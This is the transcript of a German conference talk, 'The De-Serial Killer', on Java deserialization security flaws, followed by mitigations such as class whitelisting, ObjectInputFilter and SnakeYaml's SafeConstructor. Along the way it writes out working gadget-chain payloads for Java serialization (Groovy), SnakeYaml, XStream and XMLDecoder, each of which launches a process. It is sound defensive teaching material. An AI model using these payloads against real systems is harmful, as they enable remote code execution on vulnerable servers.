the de-serial killer - doag.org · suche nach einer klasse, welche in readobject die methode...

49
THE DE-SERIAL THE DE-SERIAL KILLER KILLER SICHERHEITSPROBLEME BEIM SICHERHEITSPROBLEME BEIM SERIALISIEREN UND SERIALISIEREN UND DESERIALISIEREN DESERIALISIEREN , Dr. Stefan Schlott BeOne Stuttgart GmbH

Upload: vandang

Post on 12-Aug-2019

217 views

Category:

Documents


0 download

TRANSCRIPT

THE DE-SERIALTHE DE-SERIALKILLERKILLER

SICHERHEITSPROBLEME BEIMSICHERHEITSPROBLEME BEIMSERIALISIEREN UNDSERIALISIEREN UNDDESERIALISIERENDESERIALISIEREN

, Dr. Stefan Schlott BeOne Stuttgart GmbH

ABOUT.TXTABOUT.TXTStefan Schlott, BeOne Stuttgart GmbH

Java-Entwickler, Scala-Enthusiast, Linux-Jünger

Seit jeher begeistert für Security und Privacy

WAS WAR PASSIERTWAS WAR PASSIERT

Remote Code Execution?

TO THE CRIME SCENE!TO THE CRIME SCENE!

JAVA SERIALISIERUNGJAVA SERIALISIERUNG

SERIALISIERUNGS-101SERIALISIERUNGS-101public static void serializeData(String filename) throws … { ConferenceSlot data = new ConferenceSlot("The De-Serial Killer", "Stefan Schlott", "Usedom"); try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(filename))) { out.writeObject(data); } }

public static void deserializeData(String filename) throws … { try (ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename))) { ConferenceSlot data = (ConferenceSlot)in.readObject(); System.out.println(data); } }

Voraussetzung: ConferenceSlot implementiert Serializable

SERIALISIERUNG WANDELTSERIALISIERUNG WANDELT OBJEKT IN BYTESTREAMOBJEKT IN BYTESTREAM

00000000 ac ed 00 05 73 72 00 18 63 6f 6d 2e 62 65 6f 6e |....sr..com.beon| 00000010 65 2e 43 6f 6e 66 65 72 65 6e 63 65 53 6c 6f 74 |e.ConferenceSlot| 00000020 7d 69 17 26 40 cc 5f 0f 02 00 03 4c 00 04 72 6f |}i.&@._....L..ro| 00000030 6f 6d 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f |omt..Ljava/lang/| 00000040 53 74 72 69 6e 67 3b 4c 00 07 73 70 65 61 6b 65 |String;L..speake| 00000050 72 71 00 7e 00 01 4c 00 05 74 69 74 6c 65 71 00 |rq.~..L..titleq.| 00000060 7e 00 01 78 70 74 00 06 55 73 65 64 6f 6d 74 00 |~..xpt..Usedomt.| 00000070 0e 53 74 65 66 61 6e 20 53 63 68 6c 6f 74 74 74 |.Stefan Schlottt| 00000080 00 14 54 68 65 20 44 65 2d 53 65 72 69 61 6c 20 |..The De-Serial | 00000090 4b 69 6c 6c 65 72 |Killer|

OBJEKT LESENOBJEKT LESENKlasse bestimmen

Instanz erzeugen: Zero-Args-Constructor der ersten nicht-serialisierbaren Superklasse

Daten lesen: Mittels readObject der Klasse, falls vorhanden.Sonst Standardverhalten (rekursiv alle Members, die nicht

transient sind)

Voraussetzung: Benötigte Klassen im Klassenpfad

EXPLOIT DER DEMOEXPLOIT DER DEMO

„GADGET“ KONSTRUIEREN„GADGET“ KONSTRUIERENZiel: Programm ausführen

Annahme: Groovy-Bibliothek im Klassenpfad

Idee: Groovy-Strings haben eine Methode execute, welche denString als Kommando ausführt

Methode als Groovy-Closure verpacken:

MethodClosure payloadClosure = new MethodClosure("/usr/bin/xterm", "execute");

Suche nach einer Methode, welche eine Closure evaluiert:GString!

GString string = new GStringImpl(new Object[] { payloadClosure }, new String[] { });

Evaluiert Closures nur mit 0 oder 1 Parameter… per Reflection „hinbiegen“

Suche nach einer Klasse, welche in readObject die MethodetoString aufruft: BadAttributeValueExpException!

BadAttributeValueExpException data = new BadAttributeValueExpException(string);

…oder so ähnlich: So wird toString schon beimZusammenbauen ausgeführt.

Also: Platzhalter setzen und string per Reflection setzen.

DESERIALISIERUNGDESERIALISIERUNG1. BadAttributeValueExpException wird gelesen, derenreadObject-Methode gerufen

2. Diese liest string, diese liest payloadClosure(Standardmechanismus)

3. BadAttributeValueExpException::readObject rufttoString von string

4. GStringImpl::toString ruft payloadClosure.call()

VIELFÄLTIGE ANWENDUNGVIELFÄLTIGE ANWENDUNGRMI

JMX

JMS-Nachrichten

JSF-Viewstate

Object-Caches, z.B. (anwendungsspezifisch) memcached

Authentisierung hilft nicht zwingend! Beispiel: JMX

LÖSUNG FÜR JAVA-SERIALISIERUNGLÖSUNG FÜR JAVA-SERIALISIERUNG…OHNE CODE-ANPASSUNG…OHNE CODE-ANPASSUNG

Java Agent : Black- oder Whitelisting von Klassennotsoserial

JMX über SSL mit Client-Zertifikat (com.sun.management.jmxremote.ssl.need.client.auth=true)

Java 9: System Property jdk.serialFilter: Filter-Patterns, mit Strichpunkt getrennt

Beispiel: my.app.model.**;!*

…MIT CODE-ANPASSUNG…MIT CODE-ANPASSUNG

Alle Java-Versionen: Eigene Implementierung desObjectInputStream:

@Override protected Class<?> resolveClass(ObjectStreamClass desc) throws (…) { if (!desc.getName().startsWith("my.app.model.")) { throw new InvalidClassException("Refusing to deserialize class " + desc.getName()); } return super.resolveClass(desc); }

…MIT CODE-ANPASSUNG: FILTER-API…MIT CODE-ANPASSUNG: FILTER-API

Globaler Filter für alle ObjectInputStreams (ab Java 8u121):

ObjectInputFilter.Config.setSerialFilter(filterInfo -> { (…) });

Filter für individuelle Instanz (ab Java 8u121, aber nicht Java 9):

ObjectInputStream in = … ObjectInputFilter.Config.setObjectInputFilter(in, filterInfo -> { (…) });

Filter für individuelle Instanz (ab Java 9):

ObjectInputStream in = … in.setObjectInputFilter(filterInfo -> { (…) });

Filterimplementierung

Rückgabewerte: ALLOWED, REJECTED, UNDECIDEDfilterInfo -> { if (filterInfo.serialClass()==null) return ObjectInputFilter.Status.ALLOWED; if (MyBaseDataClass.class.isAssignableFrom(filterInfo.serialClass())) return ObjectInputFilter.Status.ALLOWED; return ObjectInputFilter.Status.REJECTED; }

setSerialFilter: Kann nur 1x aufgerufen werden

Individuelle Filter: Ignorieren den globalen Filter

Whitelisting implementieren!

ANDERE SERIALISIERUNGS-ANDERE SERIALISIERUNGS-BIBLIOTHEKENBIBLIOTHEKEN

YAMLYAMLProminente Java-Bibliothek: SnakeYaml

YAML: Objektinstantiierungen, Konstuktorparameter

Kümmert sich nicht um Serializable

YAML: MEHR ALS NUR LESBAREYAML: MEHR ALS NUR LESBAREDATENDATEN

Nicht (nur) strukturierte Daten, sondern vollständige Serialisierung!

Mit !klassenname Klasse instantiieren

Syntax Hashmap = Members belegen

Mit !klassenname [ p1, … ] Konstuktorparameter angeben

Groovy Expando: Mappt (freie) Methodennamen auf Closures.

Hier: toString auf GString::execute!!groovy.util.Expando [ { toString: !!org.codehaus.groovy.runtime.MethodClosure [/usr/bin/xterm, execute] } ]

Ein tostring (z.B. Log-Statement) löst Exploit aus

Lösung für SnakeYaml: SafeConstructor limitiert auf Basistypen

Yaml yaml = new Yaml(new SafeConstructor());

Weitere Klassen können registriert werden

Unglücklicherweise nicht der Default!

XSTREAMXSTREAM„No mappings required. Most objects can be

serialized without need for specifyingmappings“

Kompatibel mit normaler Java-Serialisierung!

Sogar die Exploits sind kompatibel!

<?xml version="1.0"?> <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.collections4.comparators.TransformingComparat <decorated class="org.apache.commons.collections4.comparators.ComparableComparato <transformer class="org.apache.commons.collections4.functors.InvokerTransformer"> <iMethodName>newTransformer</iMethodName> <iParamTypes/> <iArgs/> </transformer> </comparator> </default> <int>3</int> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> (…)

Lösung für XStream: Restriktion mittels addPermission

Unglücklicherweise nicht der Default!

Viel Handarbeit nötig

JRE XMLENCODER/XMLDECODERJRE XMLENCODER/XMLDECODERIn JAVA SE seit Java 1.4

XML-Serialisierung von Java Beans

Erfordert Bean-Konvention, aber keine Implementierung vonSerializable

<?xml version="1.0"?> <java version="1.8.0_151" class="java.beans.XMLDecoder"> <object class="com.beone.ConferenceSlot"> <void property="room"> <string>Eventhalle</string> </void> <void property="speaker"> <string>Stefan Schlott</string> </void> <void property="title"> <string>The De-Serial Killer</string> </void> </object> </java>

Each element represents a method call.The "object" tag denotes an expression whose value is to beused as the argument to the enclosing element.The "void" tag denotes a statement which will be executed, butwhose result will not be used as an argument to the enclosingmethod.…

The XML syntax uses the following conventions:■■

WHO YOU GONNA CALL?WHO YOU GONNA CALL?<?xml version="1.0"?> <java version="1.8.0_151" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index = "0"> <string>/usr/bin/xterm</string> </void> </array> <void method="start"/> </void> </java>

Nutzt das noch wer?

„The vulnerability is present in WebLogic WebServices component (wls-wsat) and, due to

improperly user input sanitizing, it may allow anunauthenticated remote attacker to execute

remote arbitrary commands with the privilegesof the WebLogic server user.“

(Quelle: - Monero Miners on WebLogic)SANS

FAZITFAZIT

Problem nicht neu

Problem nicht Java-typisch

Problem nicht in Apache Commons, Groovy, etc.

Potentielle Problemquelle: Nicht authentisierte Daten

Potentielle Problemquelle: Jede generische Serialisierungs-Bibliothek

Beschränkung der verwendbaren Klassen

Bibliotheken mit sicheren Defaults verwenden

BILDQUELLENBILDQUELLEN (CC) BY Nick kenrick

(CC0) niekverlaan (CC) BY-NC-SA Michele Adami

(CC) BY _Gavroche_ (CC0) condesign

(CC) BY-NC Randall Munroe (CC) BY-NC-SA Canada Science and Technology Museum

(CC0) Pexels (CC) BY-NC-SA Kompania Piwowarska

(CC0) Ramdlon (CC0) Markus Spiske

from the Internet ;)

■ Attempted murder series■ Newspaper■ Murder!■ Bomb■ Noodles■ Exploits of a mum■ Braille detail for two sided plates■ Dangerous woman■ The process of filling bottles■ Diamond Red Ruby■ Creative Smartphone Desk Notebook■ Cat whack-a-mole■ Not standard usage of standard library